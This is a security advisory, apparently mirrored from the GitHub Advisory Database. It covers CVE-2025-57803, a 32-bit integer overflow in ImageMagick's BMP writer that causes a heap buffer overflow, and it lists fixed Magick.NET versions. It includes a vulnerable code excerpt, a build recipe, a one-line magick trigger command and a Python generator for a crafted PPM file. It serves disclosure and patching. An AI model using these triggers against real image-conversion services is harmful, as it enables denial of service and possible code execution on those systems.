Advisory

GHSA-mxvv-97wh-cfmm

Also known as: CVE-2025-57803

Summary

ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride → heap buffer overflow

Details

Summary

A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses bytes_per_line (stride) to a tiny value while the per-row writer still emits 3 × width bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.

  • Impact: Attacker-controlled heap out-of-bounds (OOB) write during conversion to BMP.
  • Surface: Typical upload → normalize/thumbnail → magick ... out.bmp workers.
  • 32-bit: Vulnerable (reproduced with ASan).
  • 64-bit: Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards.
  • Proposed severity: Critical 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

---

Scope & Affected Builds

  • Project: ImageMagick (BMP writer path, WriteBMPImage in coders/bmp.c).
  • Commit under test: 3fcd081c0278427fc0e8ac40ef75c0a1537792f7
  • Version string from the run: ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712
  • Architecture: 32-bit i686 (`sizeof(size_t) == 4`) with ASan/UBSan.
  • Note on other versions: Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.

---

Root Cause (with code anchors)

Stride computation (writer)

bytes_per_line = 4 * ((image->columns * bmp_info.bits_per_pixel + 31) / 32);

Per-row base and 24-bpp loop (writer)

q = pixels + ((ssize_t)image->rows - y - 1) * (ssize_t)bytes_per_line;
for (x = 0; x < (ssize_t)image->columns; x++) {
  *q++ = B(...); *q++ = G(...); *q++ = R(...);  // writes 3 * width bytes
}

Allocation (writer)

pixel_info = AcquireVirtualMemory(image->rows,
    MagickMax(bytes_per_line, image->columns + 256UL) * sizeof(*pixels));
pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);

Dimension “caps” (insufficient)

The writer rejects dimensions that don’t round-trip through signed int, but both overflow thresholds below are ≤ INT_MAX on 32-bit, so the caps do not prevent the bug.

---

Integer-Overflow Analysis (32-bit size_t)

Stride formula for 24-bpp:

bytes_per_line = 4 * ((width * 24 + 31) / 32)

There are two independent overflow hazards on 32-bit:

  1. Stage-1 multiply+add in (width * 24 + 31) Overflow iff width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969 → at width ≥ 178,956,970 the numerator wraps small before /32, producing a tiny bytes_per_line.
  1. Stage-2 final ×4 after the division Let q = (width * 24 + 31) / 32. Final ×4 overflows iff q > 0x3FFFFFFF. Solving gives width ≥ 1,431,655,765 (0x55555555).

Both thresholds are below INT_MAX (≈2.147e9), so “int caps” don’t help.

Mismatch predicate (guaranteed OOB when overflowed):
Per-row write for 24-bpp is row_bytes = 3*width. Safety requires row_bytes ≤ bytes_per_line.
Under either overflow, bytes_per_line collapses → 3*width > bytes_per_line holds → OOB-write.

---

Concrete Demonstration

Chosen width: `W = 178,957,200` (just over Stage-1 bound)

  • Stage-1: 24*W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32) → 5535
  • Divide by 32: 5535 / 32 = 172
  • Multiply by 4: bytes_per_line = 172 * 4 = **688** bytes ← tiny stride
  • Per-row data (24-bpp): row_bytes = 3*W = **536,871,600** bytes
  • Allocation used: MagickMax(688, W+256) = **178,957,456** bytes
  • Immediate OOB: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes.

---

Observed Result (ASan excerpt)

ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490
WRITE of size 1 in WriteBMPImage coders/bmp.c:2309
...
allocated by:
  AcquireVirtualMemory MagickCore/memory.c:747
  WriteBMPImage coders/bmp.c:2092
  • Binary: ELF 32-bit i386, Q8, non-HDRI
  • Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)

---

Exploitability & Risk

  • Primitive: Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot.
  • Control: Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP).
  • Likely deployment: Server-side, non-interactive conversion pipelines (UI:N).
  • Outcome: At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to RCE.

Note on 64-bit: Without integer overflow, bytes_per_line = 4 * ceil((3*width)/4) ≥ 3*width, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.

---

Reproduction (copy-paste triager script)

Test Environment:

  • docker run -it --rm --platform linux/386 debian:11 bash
  • Install deps: apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3
  • Clone & checkout: ImageMagick 7.1.2-0 → commit 3fcd081c0278427f...
  • Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):
./configure \
  --host=i686-pc-linux-gnu \
  --build=x86_64-pc-linux-gnu \
  --disable-dependency-tracking \
  --disable-silent-rules \
  --disable-shared \
  --disable-openmp \
  --disable-docs \
  --without-x \
  --without-perl \
  --without-magick-plus-plus \
  --without-lqr \
  --without-zstd \
  --without-tiff \
  --with-quantum-depth=8 \
  --disable-hdri \
  CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
  CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
  LDFLAGS="-fsanitize=address,undefined"

make -j"$(nproc)"
  • Runtime limits to exercise writer:
export MAGICK_WIDTH_LIMIT=200000000
export MAGICK_HEIGHT_LIMIT=200000000
export MAGICK_TEMPORARY_PATH=/tmp
export TMPDIR=/tmp
export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:alloc_dealloc_mismatch=0"

One-liner trigger (no input file):

W=178957200
./utilities/magick \
  -limit width 200000000 -limit height 200000000 \
  -limit memory 268435456 -limit map 0 -limit disk 200000000000 \
  -limit thread 1 \
  -size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null

Expected: ASan heap-buffer-overflow in WriteBMPImage (will be provided in a private gist link).

Alternate PoC (raw PPM generator):

#!/usr/bin/env python3
W, H, MAXV = 180_000_000, 1, 255              
# W > 178,956,969
with open("huge.ppm", "wb") as f:
    f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii"))
    chunk = (b"\x41\x42\x43") * (1024*1024)
    remaining = 3 * W
    while remaining:
        n = min(remaining, len(chunk))
        f.write(chunk[:n]); remaining -= n
# Then: magick huge.ppm out.bmp

---

Proposed Severity

Severity

High Basis: The source's own band: HIGH

Dates

Published
2025-08-26 16:07 UTC
Modified
2025-11-03 21:48 UTC

Affected packages and fixes

Magick.NET-Q16-AnyCPU

NuGet · All systems

Affected

  • introduced 0, fixed 14.8.1 (ecosystem)

Fixed versions

14.8.1

Fix

The export has no generic command for this ecosystem.

Magick.NET-Q16-HDRI-AnyCPU

NuGet · All systems

Affected

  • introduced 0, fixed 14.8.1 (ecosystem)

Fixed versions

14.8.1

Fix

The export has no generic command for this ecosystem.

Magick.NET-Q16-HDRI-x86

NuGet · All systems

Affected

  • introduced 0, fixed 14.8.1 (ecosystem)

Fixed versions

14.8.1

Fix

The export has no generic command for this ecosystem.

Magick.NET-Q16-x86

NuGet · All systems

Affected

  • introduced 0, fixed 14.8.1 (ecosystem)

Fixed versions

14.8.1

Fix

The export has no generic command for this ecosystem.

Magick.NET-Q8-AnyCPU

NuGet · All systems

Affected

  • introduced 0, fixed 14.8.1 (ecosystem)

Fixed versions

14.8.1

Fix

The export has no generic command for this ecosystem.

Magick.NET-Q8-x86

NuGet · All systems

Affected

  • introduced 0, fixed 14.8.1 (ecosystem)

Fixed versions

14.8.1

Fix

The export has no generic command for this ecosystem.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences